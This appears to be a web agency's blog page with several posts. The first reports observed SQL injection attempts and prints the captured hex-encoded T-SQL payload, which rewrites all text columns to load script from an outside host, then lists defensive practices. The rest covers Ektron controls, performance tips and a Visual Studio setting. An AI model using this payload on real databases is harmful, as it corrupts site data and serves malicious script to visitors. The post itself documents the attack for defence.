About Web Development by Activo

I noticed one of our client’s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.

Here’s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)

DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C4152452040542
05641524348415228323535292C4043205641524348415228323535292
04445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2
07379736F626A6563747320612C737973636F6C756D6E7320622057484
5524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D333
5204F5220622E78747970653D323331204F5220622E78747970653D313
63729204F50454E205461626C655F437572736F72204645544348204E4
558542046524F4D205461626C655F437572736F7220494E544F2040542
C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4
D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F7220 AS VARCHAR(4000));

print @S;

This particular attack is well known and has been sighted in several variants:

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

Using the following web application best practices, we avoid getting hacked:

• Application level:
  • Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.
  • Always use Stored Procedures and/or Parameterized database queries. Don’t build SQL queries using string concatenation.
  • Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.
• Database level:
  • Use limited database permissions. For example, for SQL Server, don’t let you application run under the “sa” user. The database user should only have permission in the particular database used by the application.
  • If possible, disable extended stored procedures such as xp_cmdshell.
  • Don’t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.
    Some DBAs have server-wide policies of no Dynamic SQL.

• Web server level:
  • If appropriate, filter requests. IIS 7 offers requestFiltering options. http://msdn.microsoft.com/en-us/library/ms689462.aspx
    For example, the maxQueryString parameter could be used to block the exploit attempt above.
  • For II6: http://technet.microsoft.com/en-us/security/cc242650.aspx
• Miscellaneous
  • Install security patches as soon as they become available.

The application level is crucial. Since a web application may someday be moved to a new server, we can’t assume that the web server and database have been configured using best practices.

All layers of security are important, though: If you’re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.

We recently spotted an article from Bill Roger’s blog (Ektron’s CEO) which discusses usage of the Ektron Server Controls v.s. Ektron’s API. At Activo, we are constantly using both approaches and indeed each approach is a bit different and is used in different situations. The article makes it much clearer that Ektron actually put more effort than we thought before into the Server Controls. Understanding that the Server Controls were made for this sort of usage makes us now feel more secure using this method. Previously, I always thought of this method as a hack and preferred the API.

Frank heads our .NET development team and added the following:

I’ve found it easier to start off with a foundation of one of the server controls and build off of that, rather than using only API calls. The server control acts as a “datareader” which can be used to access the data initially. Many of the custom controls we built to replace XSLT use this model:

• Add a ListSummary inside the user control/page and set its properties.
• Access the ListSummary’s EkItems property.
• Manipulate the data from EkItems, transform it, and output it into a repeater.

This tends to work more reliably than using the API calls. However, if the code needs to bypass the permissions model, the only option is to go direct using the API.

Server performance is one of the most important functions of websites today. Users expect immediate response when clicking around your site. Even a 3.5 seconds delay may send them somewhere else. Also,  search engine crawlers (like Google) will rank you lower as a result of high latency. Hence, it is not only important to practice a faster website delivery, it’s a necessity. Recently, we have assisted our clients with server performance, which we supported using Ektron CMS400 v7.0.4. Here are the three main server performances we have noted after testing and tracking down the cause of website delays by using the Trace technique in .NET:

1. Avoid XML/XSLT Tranformations for Controls Output

After researching the cause of a huge latency greater than 2 seconds on every page refresh, we have discovered that about 50% of the latency was during the Page_Load occurrence. A more thorough research revealed that the 50% in delay was occurring during the XSLT transformations of all the controls on the page.
By caching these controls, (this solution is only partial and not recommended), and changing the way controls are rendered onto the page, we were able to reduce this latency to less than half. Therefore, we recommend building your Ektron site with the basic Ektron controls, and if you need a special way to present the information, use the code behind to generate a display of the data while you gather the data through the Ektron API and process the data programmatically. In other words, avoid XSLT altogether.

2. Make Use of the Flex Menu Ektron Control

Most of the Ektron sites that we’ve had the chance to work on were structured similarly. The main menu was a set of multi-level menus, which are all rendered by a style-specific XSLT. In some cases, before running through the XSLT, a script was passing through the menu items to find the one that needed to be ’selected’.
Why should we reinvent the wheel?
If you read Ektron’s documentation, you will find a few menu controls that can be very handy: DHTMLMenu, Menu, SmartMenu, and FlexMenu. Each one has its advantages and disadvantages. In short about each one:

• DHTMLMenu: My least favorite. Uses too much JavaScript and doesn’t render nicely for SEO
• Menu: The simplest one to use for basic menu systems
• SmartMenu: I like this menu because it’s a styled and nested unordered list. It can also support section 508 and highlights the selected menu item by a client side script, which is a lot more performance friendly
• FlexMenu: Our tests indicate that this menu control is the fastest if you have a sophisticated XSLT. It seems like Ektron simply provided a flexible menu control specifically for XML transformations.

We recommend the use of the SmartMenu, and if you insist in using XSLT to display a menu, use the FlexMenu as the alternative.

3. Make Use of the .NET Caching Mechanism

A simple thing for developers to set, isn’t it? Well, you can’t imagine how many sites we’ve seen without any caching beyond what the default settings allow. There is so much more to cache, it is almost a crime not to make use of it in our technology-driven age.

Ultimately, the above lists are just a few main performance issues that we have found with many Ektron sites. The items above alone can improve the site’s performances by up to 50%. However, this list is far from complete by any means. Hardware, Paging, Deadlocks, Server Environment, and even Bandwidth need to all be reviewed in order to improve performances.

Fast Surfing!

One of the Toolbar items in Visual Studio.net version 1.1 that I found very insightful was the Release Solutions Configuration dropdown. If the solution is set to Release or Debug mode this dropdown reflected it. If you wanted to force a compile in Release or Debug mode, you could also do so through it. However, in version 2.0, it’s hidden. If you want to make it display on your tool bar you have to follow these steps:

1. Right Click the Toolbar
2. Checkmark/Select “Build” (might already be selected)
3. Click the “Toolbar Options” down-arrow (lower right-hand side of the “Build” controls)
4. Click “Add or Remove Buttons”
5. Click “Customize”
6. Select “Build” in the left “Categories” column
7. In the right column “Commands”; scroll down and drag “Solution Configurations” to the Toolbar

Anyone know of best practices to use when configuring between Debug and Release modes?